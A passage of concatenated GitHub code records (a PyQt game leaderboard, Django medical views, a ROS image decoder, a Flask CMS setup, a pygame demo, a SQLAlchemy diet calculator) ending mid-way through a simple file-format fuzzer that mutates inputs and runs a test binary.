con = sqlite3.connect(path)\n        cur = con.cursor()\n        cur.execute(\"SELECT Count(*) FROM leaderboard\")\n        result = cur.fetchone()[0]\n        print(result)\n\n        self.tableWidget.setColumnCount(3)\n        # self.tableWidget.setRowCount(result)\n        self.tableWidget.setHorizontalHeaderLabels([\"Имя\", \"Очки\", \"Кол-во игр\"])\n\n        for username, Score, games in cur.execute(\"SELECT username, Score, games FROM leaderboard ORDER BY Score desc\"):\n            row = self.tableWidget.rowCount()\n            self.tableWidget.setRowCount(row + 1)\n\n            self.tableWidget.setItem(row, 0, QTableWidgetItem(username))\n            self.tableWidget.setItem(row, 1, QTableWidgetItem(str(Score)))\n            self.tableWidget.setItem(row, 2, QTableWidgetItem(str(games)))\n\n        self.tableWidget.resizeColumnsToContents()\n        self.tableWidget.horizontalHeader().setStretchLastSection(True)\n        self.tableWidget.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)\n        self.tableWidget.setColumnWidth(1, 80)\n\n        app.setStyleSheet('QWidget QHeaderView::section { background-color: rgba(0,0,0,0); } '\n                          'QTableWidget QTableCornerButton::section {background-color: rgba(0,0,0,0); }')\n\n\nif __name__ == \"__main__\":\n    import sys\n\n    app = QApplication(sys.argv)\n    widget = QStackedWidget()\n\n    mainwindow = MainWindow()\n    widget.addWidget(mainwindow)\n\n    signupScreen = SignupScreen()\n    widget.addWidget(signupScreen)\n\n    gameMenuScreen = GameMenu()\n    widget.addWidget(gameMenuScreen)\n\n    gameScreen = GameScreen()\n    widget.addWidget(gameScreen)\n\n    leaderboardScreen = LeaderboardScreen()\n    widget.addWidget(leaderboardScreen)\n\n    # widget.resize(500, 500)\n    widget.show()\n    try:\n        sys.exit(app.exec_())\n    except:\n        print(\"Выход\")\n","repo_name":"Glebadelo/numgame1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28991787534","text":"# Create your views here.\nimport json\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.template.response import TemplateResponse\n\nfrom medicine.forms import PatientEditForm, DoctorForm\nfrom medicine.models import Hospital, Doctor\n\n\n@login_required\ndef index(request):\n    \"\"\"Index view to display hospitals, doctors and patients\"\"\"\n    template = 'index.html'\n    hospitals = Hospital.objects.all()\n    return render_to_response(template, {'hospitals': hospitals}, context_instance=RequestContext(request))\n\n\n@login_required\ndef edit_profile(request):\n    \"\"\"View to display form for editing patient-user profile and saving it\"\"\"\n\n    template = 'edit_profile.html'\n    if request.method == 'POST': # If the form has been submitted...\n        form = PatientEditForm(request.POST, instance=request.user.patient) # A form bound to the POST data\n        if form.is_valid(): # All validation rules pass\n            # Process the data in form.cleaned_data\n            # ...\n            form.save()\n            return HttpResponseRedirect(reverse('index')) # Redirect after POST\n\n    else:\n        form = PatientEditForm(instance=request.user.patient)\n\n    return TemplateResponse(request, template, {'form': form})\n\n\n@login_required\ndef add_doctor(request):\n    \"\"\"View to create new doctor instance. Is to be displayed to staff and superuser only\"\"\"\n\n    template = 'doctor_adding_form.html'\n    #Check this in case url was typed directly in browser\n    if request.user.is_staff and request.user.is_superuser:\n        if request.method == \"POST\":\n            form = DoctorForm(request.POST)\n            if form.is_valid():\n                form.save()\n            else:\n                return TemplateResponse(request, template, {'form': form})\n        else:\n            form = DoctorForm()\n            return TemplateResponse(request, template, {'form': form})\n    return HttpResponseRedirect(reverse('index'))\n\n@login_required\ndef ajax_patients_list(request, doctor_id):\n    \"\"\"Ajax view returns patients list template rendered for given doctor_id\"\"\"\n\n    template = 'patients_list.html'\n    if request.is_ajax():\n        patients = Doctor.objects.get(pk=doctor_id).patients.all()\n        return TemplateResponse(request, template, {'patients': patients})\n    else:\n        return HttpResponseRedirect(reverse('index'))\n","repo_name":"BakanovKirill/Medicine","sub_path":"src/medicine/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9781620423","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom cv_bridge import CvBridge\nimport cv2\nimport numpy as np\nfrom sensor_msgs.msg import CompressedImage, Image\nfrom duckietown_msgs.msg import BoolStamped\n\n\nclass DecoderNode(object):\n\n    def __init__(self):\n        rospy.init_node('image_decoder')\n        self.active = True\n        self.bridge = CvBridge()\n\n        self.publish_freq = self.setupParam(\"~publish_freq\", 30.0)\n        self.publish_duration = rospy.Duration.from_sec(1.0 / self.publish_freq)\n        self.pub_raw = rospy.Publisher(\"~image/raw\", Image, queue_size=1)\n        self.pub_compressed = rospy.Publisher(\"~image/compressed\", CompressedImage, queue_size=1)\n        self.last_stamp = rospy.Time.now()\n        self.sub_compressed_img = rospy.Subscriber(\"~compressed_image\", CompressedImage,\n                                                   self.cbImg, queue_size=1)\n        self.sub_switch = rospy.Subscriber(\"~switch\", BoolStamped, self.cbSwitch, queue_size=1)\n\n    def setupParam(self, param_name, default_value):\n        value = rospy.get_param(param_name, default_value)\n        rospy.set_param(param_name, value)  # Write to parameter server for transparancy\n        rospy.loginfo(\"[%s] %s = %s \" % (rospy.get_name(), param_name, value))\n        return value\n\n    def cbSwitch(self, switch_msg):\n        self.active = switch_msg.data\n\n    def cbImg(self, msg):\n        if not self.active:\n            return\n        now = rospy.Time.now()\n        if now - self.last_stamp < self.publish_duration:\n            return\n        else:\n            self.last_stamp = now\n        np_arr = np.fromstring(msg.data, np.uint8)\n        cv_image = cv2.imdecode(np_arr, cv2.IMREAD_COLOR)\n        img_msg = self.bridge.cv2_to_imgmsg(cv_image, \"bgr8\")\n        img_msg.header.stamp = msg.header.stamp\n        img_msg.header.frame_id = msg.header.frame_id\n        self.pub_raw.publish(img_msg)\n        self.pub_compressed.publish(msg)\n\n\nif __name__ == '__main__':\n    node = DecoderNode()\n    rospy.spin()\n","repo_name":"Yishu1997/Duckietown-Pure-Pursuit-Controller","sub_path":"control/exercise_ws/src/image_processing/src/decoder_node.py","file_name":"decoder_node.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"24856700611","text":"import logging\nimport os\nimport traceback\nfrom logging.handlers import RotatingFileHandler\nfrom multiprocessing import freeze_support\n\nfrom flask import flash\nfrom flask import Flask\nfrom flask import redirect\nfrom flask import render_template\nfrom flask import request\nfrom flask import url_for\nfrom flask_babel import lazy_gettext as _l\nfrom via_common.multiprocess.logger_manager import LoggerManager\nfrom via_common.multiprocess.queue_manager import QueueManager\n\nfrom via_cms import cli\nfrom via_cms.asset import asset\nfrom via_cms.config_flask import ConfigDevLocal\nfrom via_cms.config_flask import ConfigProd\nfrom via_cms.config_flask import ConfigQaTesting\nfrom via_cms.config_flask import ConfigUAT1\nfrom via_cms.extension import babel\nfrom via_cms.extension import bcrypt\nfrom via_cms.extension import db\nfrom via_cms.extension import debug_toolbar\nfrom via_cms.extension import login_manager\nfrom via_cms.extension import migrate\nfrom via_cms.remote.publisher.forwarder_post import ForwarderPost\nfrom via_cms.remote.subscriber.listener_broker import ListenerBroker\nfrom via_cms.util.config_internal_conn import ConfigInternalConn\nfrom via_cms.util.config_logger import ConfigLogger\nfrom via_cms.util.config_middleware import ConfigMiddleware\nfrom via_cms.util.helper import get_locale\nfrom via_cms.view.private import callback\nfrom via_cms.view.private import private\nfrom via_cms.view.private.edition import editor_basket\n# from via_cms.view.private.edition import editor_bulletin\nfrom via_cms.view.private.edition import editor_document\nfrom via_cms.view.private.edition import editor_news\n# from via_cms.view.private.edition import editor_notice\nfrom via_cms.view.private.edition import editor_price\nfrom via_cms.view.private.user import dashboard_user\nfrom via_cms.view.private.user import detail_user\nfrom via_cms.view.private.user import editor_user\nfrom via_cms.view.private.user import manager_user\nfrom via_cms.view.private.visualization import dashboard_basket\nfrom via_cms.view.private.visualization import dashboard_client\nfrom via_cms.view.private.visualization import dashboard_document\nfrom via_cms.view.private.visualization import dashboard_feedback\nfrom via_cms.view.private.visualization import dashboard_news\nfrom via_cms.view.public import public\n\n\n\"\"\"The app module, containing the app factory function.\"\"\"\n\napp = None\nlogger = None\nsubscriber = None\nforwarder = None\nlistener = None\nqueue_manager = None\nlogger = None\nconfig_logger = None\nconfig_internal_conn = None\nconfig_middleware = None\nlogger_manager = None\n\n\ndef create_app():\n    \"\"\"Flask application factory\n    \"\"\"\n    global app\n    global logger\n    global listener\n\n    if logger:\n        logger.warning('Starting Flask')\n    else:\n        print('Starting Flask')\n\n    config_flask = get_config_flask()\n\n    if not config_flask:\n        if logger:\n            logger.critical('No config for flask set')\n        else:\n            print('[CRITICAL] No config for flask set')\n        return\n\n    app = Flask(__name__)\n    app.config.from_object(config_flask)\n\n    if not os.path.exists(config_flask.DIRECTORY_LOGS):\n        os.makedirs(config_flask.DIRECTORY_LOGS)\n\n    if logger:\n        app.logger = logger\n    else:\n        file_handler = RotatingFileHandler(config_flask.DIRECTORY_LOGS + '/via_cms.log', maxBytes=10240, backupCount=10)\n        file_handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s: %(message)s '\n                                                    '[in %(pathname)s:%(lineno)d]'))\n        file_handler.setLevel(logging.INFO)\n        app.logger.addHandler(file_handler)\n        app.logger.setLevel(logging.DEBUG)\n        logger = app.logger\n\n    if not os.path.exists(config_flask.UPLOADED_FILES_DEST):\n        # logger.info('Created directory: {}'.format(config_object.UPLOADED_FILES_DEST))\n        os.makedirs(config_flask.UPLOADED_FILES_DEST)\n\n    if config_flask == ConfigProd:\n        app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['DATABASE_URL']\n\n    register_extension(app)\n    register_blueprint(app)\n    register_error_handler(app)\n    cli.command_translate(app)\n    cli.command_importer(app)\n\n    app.forwarder = forwarder\n    if listener:\n        listener.register_app(app)  # TODO redo this listener thing....\n\n\n    # @app.before_request\n    # def before_request():\n    #     # if current_user.is_authenticated:\n    #     #     current_user.last_seen = dt.datetime.utcnow()\n    #     #     db.session.commit()\n    #     flask_global.locale = str(get_locale())\n\n    @app.shell_context_processor\n    def make_shell_context():\n        return {'db': db}\n\n\n    @app.context_processor\n    def language_selector():\n        lang = get_locale()\n        return {\n            \"LANGUAGE_DICT\": config_flask.LANGUAGE_DICT,\n            \"CURRENT_LANGUAGE\": lang,\n            \"CURRENT_DIRECTION\": config_flask.DIRECTION_DICT.get(lang, 'ltr')\n        }\n\n\n    @app.after_request\n    def response_minify(response):\n        \"\"\"\n        minify html response\n        \"\"\"\n        # if response.content_type == u'text/html; charset=utf-8':\n        #     response.set_data(html_minify(response.get_data(as_text=True)))\n        #     return response\n        return response\n\n\n    @app.context_processor\n    def context_user_manager():\n        return dict(user_manager=manager_user)\n\n\n    # https://stackoverflow.com/questions/30414696/upload-file-larger-than-max-content-length-in-flask-results-connection-reset/49332379#49332379\n    @app.errorhandler(Exception)\n    def all_exception_handler(error):\n        traceback.print_exc()\n        logger.error(traceback.extract_tb(error.__traceback__))\n        from werkzeug.exceptions import RequestEntityTooLarge\n        if isinstance(error, RequestEntityTooLarge):\n            message = _l('You attempted to upload a file which is too big. The maximum authorised size is {} kb.<br/>'\n                         '<p><small>We had to reset your form to prevent the browser from trying to upload this file.</small></p>'\n                         .format(config_flask.MAX_CONTENT_LENGTH / 1024 - 2))\n        else:\n            message = _l(\n                'An unexpected error happened while processing your request. Please contact the IT support. The error is:<br\\>{}'\n                '<p><small>We had to reset your form to prevent this error from causing further issues.</small></p>'\n                    .format(str(error)))\n        # end if isinstance(error, RequestEntityTooLarge)\n        flash(message, category=\"error\")\n        return redirect(url_for(request.endpoint, **request.view_args))\n\n\n    if logger:\n        logger.warning('via_cms INITIALISED')\n    return app\n\n\ndef get_config_flask():\n    if os.environ.get(\"VIA_CMS_ENV\") == 'prod':\n        config_flask = ConfigProd\n    elif os.environ.get(\"VIA_CMS_ENV\") == 'uat1':\n        config_flask = ConfigUAT1\n    elif os.environ.get(\"VIA_CMS_ENV\") == 'dev_local':\n        config_flask = ConfigDevLocal\n    elif os.environ.get(\"VIA_CMS_ENV\") == 'qa_test':\n        config_flask = ConfigQaTesting\n    else:\n        raise RuntimeError('Environment variable VIA_CMS_ENV not set for config')\n    return config_flask\n\n\ndef register_extension(flask_app):\n    asset.init_app(flask_app)\n    bcrypt.init_app(flask_app)\n    db.init_app(flask_app)\n    login_manager.init_app(flask_app)\n    debug_toolbar.init_app(flask_app)\n    migrate.init_app(flask_app, db)\n    babel.init_app(flask_app)\n    return None\n\n\ndef register_blueprint(flask_app):\n    flask_app.register_blueprint(callback.bp)\n    flask_app.register_blueprint(dashboard_basket.bp)\n    flask_app.register_blueprint(dashboard_client.bp)\n    flask_app.register_blueprint(dashboard_document.bp)\n    flask_app.register_blueprint(dashboard_feedback.bp)\n    flask_app.register_blueprint(dashboard_news.bp)\n    flask_app.register_blueprint(dashboard_user.bp)\n    flask_app.register_blueprint(detail_user.bp)\n    flask_app.register_blueprint(editor_basket.bp)\n    flask_app.register_blueprint(editor_document.bp)\n    flask_app.register_blueprint(editor_news.bp)\n    flask_app.register_blueprint(editor_price.bp)\n    flask_app.register_blueprint(editor_user.bp)\n    flask_app.register_blueprint(manager_user.bp)\n    flask_app.register_blueprint(private.bp)\n    flask_app.register_blueprint(public.bp)\n    return None\n\n\ndef register_error_handler(flask_app):\n    def render_error(error):\n        # If a HTTPException, pull the `code` attribute; default to 500\n        error_code = getattr(error, 'code', 500)\n        return render_template(\"{0}.html\".format(error_code)), error_code\n\n\n    # end def render_error(error)\n\n    for errcode in [401, 404, 500]:\n        flask_app.errorhandler(errcode)(render_error)\n    # end for errcode in [401, 404, 500]\n\n    return None\n\n\ndef init_config_logger():\n    global config_logger\n\n    if config_logger is None:\n        config_logger = ConfigLogger()\n\n\ndef init_config_internal_conn():\n    global config_internal_conn\n\n    if config_internal_conn is None:\n        config_internal_conn = ConfigInternalConn()\n\n\ndef init_config_middleware():\n    global config_middleware\n\n    if config_middleware is None:\n        config_middleware = ConfigMiddleware()\n\n\ndef init_logger_manager():\n    global logger_manager\n    global config_logger\n\n    init_config_internal_conn()\n    init_config_logger()\n    init_config_middleware()\n\n    if logger_manager is None:\n        logger_manager = LoggerManager.init_root_logger(config_logger)\n\n\ndef start_background_tasks():\n    global listener\n    global forwarder\n    global config_internal_conn\n    global config_logger\n    global config_middleware\n\n    if logger:\n        logger.info('Starting background thread')\n    config_flask = get_config_flask()\n\n    if config_flask:\n        listener = ListenerBroker(config_middleware, config_internal_conn, config_logger)\n        listener.start()\n\n        forwarder = ForwarderPost(config_middleware, config_internal_conn, config_logger)  # TODO magic number\n        forwarder.start()\n\n\ndef initialise_background():\n    global queue_manager\n    global logger\n    global config_internal_conn\n    global config_logger\n    global config_middleware\n\n    init_config_internal_conn()\n    init_config_logger()\n    init_config_middleware()\n    init_logger_manager()\n    logger = LoggerManager.get_logger('main')\n    if logger:\n        logger.info('*************************')\n        logger.warning('Background initialisation started')\n    else:\n        print('Logger NOT set for \"manager\"')\n        print('Background initialisation started')\n    queue_manager = QueueManager(config_internal_conn)\n    start_background_tasks()\n\n\ndef gunicorn_run():\n    print('Starting gunicorn_run')  # no logger at this point\n    initialise_background()\n    if logger:\n        logger.info('gunicorn_run')\n        logger.warning('Background initialisation done')\n    return create_app()\n\n\ndef local_run():\n    global app\n\n    print('Starting local_run')\n    initialise_background()\n    if logger:\n        logger.info('local_run')\n        logger.info('Background initialisation done')\n    config_flask = get_config_flask()\n    create_app(config_flask)\n    if app:\n        app.run()\n\n\nif __name__ == '__main__':\n    freeze_support()\n    # this should not be used directly instead you should run through manage.py using the cli\n    local_run()\n","repo_name":"jeanjacquesp/via-cms","sub_path":"via_cms/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34014453140","text":"import pygame\n\n\nclass Creature(pygame.sprite.Sprite):\n    def __init__(self, pos, image, *groups):\n        super().__init__(*groups)\n        self.image = image\n        self.rect = self.image.get_rect()\n        self.rect.left, self.rect.top = pos\n\n    def update(self, keys):\n        if keys[pygame.K_w]:\n            self.rect.move_ip(0, -10)\n        if keys[pygame.K_s]:\n            self.rect.move_ip(0, 10)\n        if keys[pygame.K_d]:\n            self.rect.move_ip(10, 0)\n        if keys[pygame.K_a]:\n            self.rect.move_ip(-10, 0)\n\n\nif __name__ == '__main__':\n    pygame.init()\n    pygame.display.set_caption('Герой двигается!')\n    size = width, height = 300, 300\n    screen = pygame.display.set_mode(size)\n    running = True\n    fps = 60\n    sprites = pygame.sprite.Group()\n    creature = Creature((0, 0), pygame.image.load('data/creature.png'), sprites)\n    clock = pygame.time.Clock()\n    while running:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                running = False\n        sprites.update(pygame.key.get_pressed())\n        screen.fill((255, 255, 255))\n        sprites.draw(screen)\n        clock.tick(fps)\n        pygame.display.flip()\n    pygame.quit()\n","repo_name":"nikita494/Hero_Moves","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25717535586","text":"from sqlalchemy import Column, String, Integer, Float, ForeignKey, DateTime\r\nimport datetime\r\nfrom sqlalchemy.orm import relationship, backref\r\nfrom model.usuario import Usuario\r\nfrom typing import Union\r\nfrom  model import Base\r\n\r\n\r\nclass Dieta(Base):\r\n    __tablename__ = 'dieta'\r\n\r\n    id_dieta = Column(\"id_dieta\", Integer, primary_key=True)\r\n    peso = Column(Float)    \r\n    objetivo = Column(String(30))\r\n    nivel_atividade = Column(String(50))\r\n    tmb = Column(Integer)\r\n    tdee = Column(Integer)\r\n    proteina = Column(Integer)\r\n    gordura = Column(Integer)\r\n    carboidrato = Column(Integer)\r\n    caloria = Column(Integer)\r\n    dt_cadastro = Column(DateTime,default=datetime.datetime.now())\r\n\r\n    # Definição do relacionamento entre dieta e refeiçao.    \r\n    refeicoes = relationship(\"Refeicao\", cascade=\"all,delete\", backref=\"Dieta\")   \r\n    \r\n    # Definição do relacionamento entre o dieta e usuario.\r\n    # Aqui está sendo definido a coluna 'usuario_id' que vai guardar\r\n    # a referencia ao usuario, a chave estrangeira que relaciona\r\n    # um usuario a dieta.\r\n    usuario_id = Column(Integer, ForeignKey(\"usuario.id_usuario\", ondelete=\"CASCADE\"), nullable=False)\r\n    \r\n    # many-to-one \r\n    usuario = relationship(\"Usuario\", backref=backref(\"Dieta\", cascade=\"all,delete\"))\r\n\r\n    def __init__(self, peso:float, objetivo:str,nivel_atividade:str, tmb:int, tdee:int, proteina:int, gordura:int, carboidrato:int, caloria:int, usuario:Usuario, dt_cadastro:Union[DateTime, None] = None):                 \r\n        \"\"\"\r\n        Cria uma dieta\r\n\r\n        Arguments:\r\n            peso: peso do usuário em Kg.\r\n            dt_cadastro: data que esta cadastrando a dieta \r\n            objetivo: emagrecer, manter o peso, ganhar peso,...\r\n            nivel_atividade: sedentário, levemente ativo, ...\r\n            tmb: Taxa Metabólica Basal\r\n            tdee: gasto total diário ou do inglês (Total Daily Energy Expenditure)\r\n            proteina: quantidade em gramas\r\n            gordura: quantidade em gramas\r\n            carboidrato: quantidade em gramas\r\n            caloria: quantidade de calorias (kcal)\r\n            usuario: usuário que a dieta pertence\r\n        \"\"\"       \r\n        self.peso = peso        \r\n        self.objetivo = objetivo\r\n        self.nivel_atividade = nivel_atividade\r\n        self.tmb = tmb        \r\n        self.tdee = tdee        \r\n        self.proteina = proteina        \r\n        self.gordura = gordura        \r\n        self.carboidrato = carboidrato        \r\n        self.caloria = caloria\r\n        self.usuario = usuario\r\n    \r\n        # se não for informada, será o data exata da inserção no banco\r\n        if dt_cadastro:\r\n            self.dt_cadastro = dt_cadastro\r\n        \r\n\r\n    def adiciona_usuario(self, usuario:Usuario):\r\n        \"\"\" Adiciona um novo usuario a dieta\r\n        \"\"\"\r\n        self.usuario = usuario\r\n    \r\n\r\n    def calcula_tmb(self, usuario:Usuario, peso:float):\r\n        \"\"\" Gasto de caloria basal\r\n            Resultado em Kcal\r\n        \"\"\"\r\n        tmb=0\r\n\r\n        idade = usuario.calcula_idade(usuario.nascimento)\r\n\r\n        if usuario.sexo == \"masculino\":            \r\n            #tmb = 66.5 + (13.75 * peso) + (5.003 * usuario.altura) - (6.755 * usuario.idade)\r\n            tmb = (10 * peso) + (6.25 * usuario.altura) - (5 * idade) + 5 \r\n\r\n        if usuario.sexo == \"feminino\":            \r\n            #tmb = 655.1 + (9.563 * peso) + (1.850 * usuario.altura) - (4.676 * usuario.idade)\r\n            tmb = (10 * peso) + (6.25 * usuario.altura) - (5 * idade) - 161 \r\n\r\n        return tmb\r\n    \r\n\r\n    def calcula_tdee(self, nivel_atividade:str, tmb:int):\r\n        \"\"\" Gasto energético total\r\n                Sedentário (exercício mínimo)\r\n                Exercício Leve (1-3 dias por semana)\r\n                Exercício Moderado (3-5 dias por semana)\r\n                Exercício Intenso (6-7 dias por semana)\r\n                Exercício muito intenso (atleta - 2x por dia)\r\n        \"\"\"\r\n        tdee = 0\r\n        if nivel_atividade == 'sedentario':\r\n            tdee = tmb * 1.2\r\n        if nivel_atividade == 'leve':\r\n            tdee = tmb * 1.375\r\n        if nivel_atividade == 'moderado':\r\n            tdee = tmb * 1.55\r\n        if nivel_atividade == 'intenso':\r\n            tdee = tmb * 1.725\r\n        if nivel_atividade == 'muito':\r\n            tdee = tmb * 1.9\r\n        \r\n        return tdee\r\n    \r\n\r\n    def calcula_calorias_objetivo(self, objetivo:str, tdee:int):\r\n        \"\"\" Ajusta calorias com base no objetivo\r\n                Emagrecer Rápido -20%\r\n                Emagrecer -15%\r\n                Manter Peso \r\n                Ganhos Moderados 10%\r\n                Ganhos Agressivos 17%\r\n        \"\"\"\r\n        caloria = 0\r\n        if objetivo == 'rapido':\r\n            caloria = tdee * 0.8\r\n        if objetivo == 'emagrecer':\r\n            caloria = tdee * 0.85\r\n        if objetivo == 'manter':\r\n            caloria = tdee * 1\r\n        if objetivo == 'moderados':\r\n            caloria = tdee * 1.1\r\n        if objetivo == 'agressivos':\r\n            caloria = tdee * 1.17\r\n        \r\n        return int(caloria)\r\n\r\n    \r\n    def calcula_proteina(self, caloria:int, objetivo:str):\r\n        \"\"\" Calcula as proteinas (g) com base no objetivo\r\n                Emagrecer Rápido LOW CARB (40/40/20) (p/g/c)\r\n                Emagrecer LOW CARB (40/40/20) (p/g/c)\r\n                Manter Peso CARBO MODERADO (30/35/35) (p/g/c)\r\n                Ganhos Moderados CARBO MODERADO (30/35/35) (p/g/c)\r\n                Ganhos Agressivos CARBO ALTO (30/20/50) (p/g/c)\r\n\r\n                cada g de proteina 4Kcal\r\n        \"\"\"\r\n        proteina = 0\r\n        if objetivo == 'rapido':\r\n            proteina = (caloria * 0.4) /4\r\n        if objetivo == 'emagrecer':\r\n            proteina = (caloria * 0.4) /4\r\n        if objetivo == 'manter':\r\n            proteina = (caloria * 0.3) /4\r\n        if objetivo == 'moderados':\r\n            proteina = (caloria * 0.3) /4\r\n        if objetivo == 'agressivos':\r\n            proteina = (caloria * 0.3) /4\r\n        \r\n        return int(proteina)\r\n\r\n\r\n    def calcula_gordura(self, caloria:int, objetivo:str):\r\n        \"\"\" Calcula as gorduras (g) com base no objetivo\r\n                Emagrecer Rápido LOW CARB (40/40/20) (p/g/c)\r\n                Emagrecer LOW CARB (40/40/20) (p/g/c)\r\n                Manter Peso CARBO MODERADO (30/35/35) (p/g/c)\r\n                Ganhos Moderados CARBO MODERADO (30/35/35) (p/g/c)\r\n                Ganhos Agressivos CARBO ALTO (30/20/50) (p/g/c)\r\n\r\n                cada g de gordura 9Kcal\r\n        \"\"\"\r\n        proteina = 0\r\n        if objetivo == 'rapido':\r\n            proteina = (caloria * 0.4) /9\r\n        if objetivo == 'emagrecer':\r\n            proteina = (caloria * 0.4) /9\r\n        if objetivo == 'manter':\r\n            proteina = (caloria * 0.35) /9\r\n        if objetivo == 'moderados':\r\n            proteina = (caloria * 0.35) /9\r\n        if objetivo == 'agressivos':\r\n            proteina = (caloria * 0.2) /9\r\n        \r\n        return int(proteina)\r\n    \r\n\r\n    def calcula_carboidrato(self, caloria:int, objetivo:str):\r\n        \"\"\" Calcula os carboidratos (g) com base no objetivo\r\n                Emagrecer Rápido LOW CARB (40/40/20) (p/g/c)\r\n                Emagrecer LOW CARB (40/40/20) (p/g/c)\r\n                Manter Peso CARBO MODERADO (30/35/35) (p/g/c)\r\n                Ganhos Moderados CARBO MODERADO (30/35/35) (p/g/c)\r\n                Ganhos Agressivos CARBO ALTO (30/20/50) (p/g/c)\r\n\r\n                cada g de gordura 4Kcal\r\n        \"\"\"\r\n        proteina = 0\r\n        if objetivo == 'rapido':\r\n            proteina = (caloria * 0.2) /4\r\n        if objetivo == 'emagrecer':\r\n            proteina = (caloria * 0.2) /4\r\n        if objetivo == 'manter':\r\n            proteina = (caloria * 0.35) /4\r\n        if objetivo == 'moderados':\r\n            proteina = (caloria * 0.35) /4\r\n        if objetivo == 'agressivos':\r\n            proteina = (caloria * 0.5) /4\r\n        \r\n        return int(proteina)","repo_name":"pquatro/puc_mvp2_api_composicao_alimentos","sub_path":"model/dieta.py","file_name":"dieta.py","file_ext":"py","file_size_in_byte":7993,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39363434921","text":"# from pwn import *\nimport sys\nfrom subprocess import Popen, PIPE\nfrom Strategies.getFileType import FileType, getFileType\nfrom bs4 import BeautifulSoup as BS\nfrom PIL import Image, ExifTags\nimport base64\nimport os,binascii\nimport PyPDF2\nimport random\nimport string\n\nrandString = string.ascii_letters + string.punctuation\nPDF_KEYWORDS = ['/CreationDate', '/Creator', '/Keywords', '/Producer', '/Title']\n\ndef runFuzzedInput(text, binary, inputtype):\n\tproc = Popen([binary], shell=True, stdin = PIPE, stdout = PIPE, stderr = PIPE)\n\tif(inputtype == FileType.jpeg or inputtype == FileType.pdf):\n\t\ttry:\n\t\t\toutput, error = proc.communicate(text.tobytes())\n\t\texcept:\n\t\t\toutput, error = proc.communicate(text)\n\telse:\n\t\toutput, error = proc.communicate(bytes(text, 'utf-8'))\n\treturn(proc.returncode, error)\n\ndef repeatedParts(testInput, inputtype):\n\n\t# Fuzz depending on input type\n\tpayload = ''\n\tpayloads = []\n\tif(inputtype == FileType.csv or inputtype == FileType.json):\n\t\twith open(testInput) as f:\n\t\t\ttext = f.read()\n\t\t# Header stays intact\n\t\ti = 1\n\t\twhile i < len(text):\n\t\t\tfor x in range(1, len(text) - i):\n\t\t\t\tstring = text[i:i+x]\n\t\t\t\tpayload += text[0:i] + string*14 + text[i:]\n\t\t\t\tpayloads.append(payload)\n\t\t\t\tpayload = ''\n\t\t\ti += 1\n\n\tif(inputtype == FileType.xml):\n\t\twith open(testInput) as f:\n\t\t\tsoup = BS(f, features='lxml')\n\t\t# First, find all the tags in the xml\n\t\ttags = []\n\t\tfor tag in soup.find_all(True):\n\t\t\t# print(tag.name)\n\t\t\ttags.append(tag.name)\n\n\t\t# Method 1, repeat everything between the tags\n\t\tfor tag in tags:\n\t\t\ttext = str(soup)\n\t\t\tx = text.find(tag)\n\n\t\t\t# Get the entire tag and contents\n\t\t\txmlstr = str(soup.find(tag))\n\n\t\t\t# add the repeated text just after the tag\n\t\t\ty = len(xmlstr)\n\t\t\tindex = x + y\n\t\t\tpayload = text[:index] + xmlstr*2 + text[index:]\n\n\t\t\t# add it to the payloads\n\t\t\t# print(payload)\n\t\t\tpayloads.append(payload)\n\t\t\tpayload = ''\n\n\t\t# Method 2, repeat the tag text, within the tag itself\n\t\tfor tag in tags:\n\t\t\ttagtext = soup.find(tag).text\n\t\t\t# print('-------')\n\t\t\t# print(tagtext)\n\tif(inputtype == FileType.plaintext):\n\t\twith open(testInput) as f:\n\t\t\ttext = f.read()\n\t\tpayload = text*10000\n\t\tpayloads.append(payload)\n\n\tif(inputtype == FileType.jpeg):\n\t\t# Using Pillow (PIL)\n\n\t\timg = Image.open(testInput)\n\t\t# print(img.info)\n\t\tkeys = []\n\t\tvalues = []\n\t\tfor k, v in img.info.items():\n\t\t\t#print(k, ':', v)\n\t\t\tkeys.append(k)\n\t\t\tvalues.append(v)\n\t\t# Repeat each key, value\n\t\tfor i in range(len(keys)):\n\t\t\tfor j in range(10):\n\t\t\t\timg.info.__setitem__(keys[i]*j, values[i]*j*2)\n\t\t\t\t#print(img.info)\n\t\t\t\tpayloads.append(img)\n\n\t\t# Using b64 method\n\t\twith open(testInput, \"rb\") as f:\n\t\t\tb64str = base64.b64encode(f.read())\n\t\ti = 0\n\t\tfor c in str(b64str):\n\t\t\tif c == '/':\n\t\t\t\t# generate random 8 byte hex number and insert\n\t\t\t\t# after every slash\n\t\t\t\trpt = binascii.b2a_hex(os.urandom(8))\n\t\t\t\tpayload = b64str[:i] + rpt + b64str[i:]\n\t\t\t\t# Assert b64 string is 4 byte aligned\n\t\t\t\tif(len(payload) % 4 != 0):\n\t\t\t\t\tpayload += b'='\n\t\t\t\tpayload = base64.b64decode(b\"data:image/jpeg;base64,\" + payload)\n\t\t\t\tpayloads.append(payload)\n\t\t\ti += 1\n\t\t# print(i)\n\t\t# print(b64str)\n\n\tif(inputtype == FileType.pdf):\n\t\t# read input as PDF file\n\t\tpdf_writer = PyPDF2.PdfFileWriter()\n\t\tmDict = {}\n\t\twith open(testInput, 